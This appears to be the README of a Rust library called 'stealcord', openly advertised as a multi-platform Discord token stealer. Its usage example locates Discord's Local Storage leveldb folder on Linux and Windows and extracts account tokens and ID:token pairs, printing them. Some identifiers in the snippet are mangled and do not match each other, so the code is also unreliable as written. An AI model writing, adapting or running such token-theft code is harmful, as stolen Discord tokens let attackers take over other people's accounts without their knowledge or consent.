Multi platform Discord token stealer library written in Rust.
```rust // Import necessary libraries use simplehomedir::*; use stealcord::{gettoken, gettokens};
fn main() { // Set path to Discord token storage let path = homedir().unwrap().join(if cfg!(targetos = "linux") { // Linux ".config/discord/Local Storage/leveldb/" } else { // Windows "\AppData\Roaming\Discord\Local Storage\leveldb" });
// Get only token
if let Ok(token) = get_token(path.clone()) {
// Print token
println!("{token}")
} else {
// Print error message
panic!("Error getting token")
}
// Get ID : Token
if let Ok(tokens) = get_tokens(path.clone()) {
// Print tokens
println!("{tokens}")
} else {
// Print error message
panic!("Error getting tokens")
}
} ```
This project is licensed under the MIT License - see the LICENSE file for details.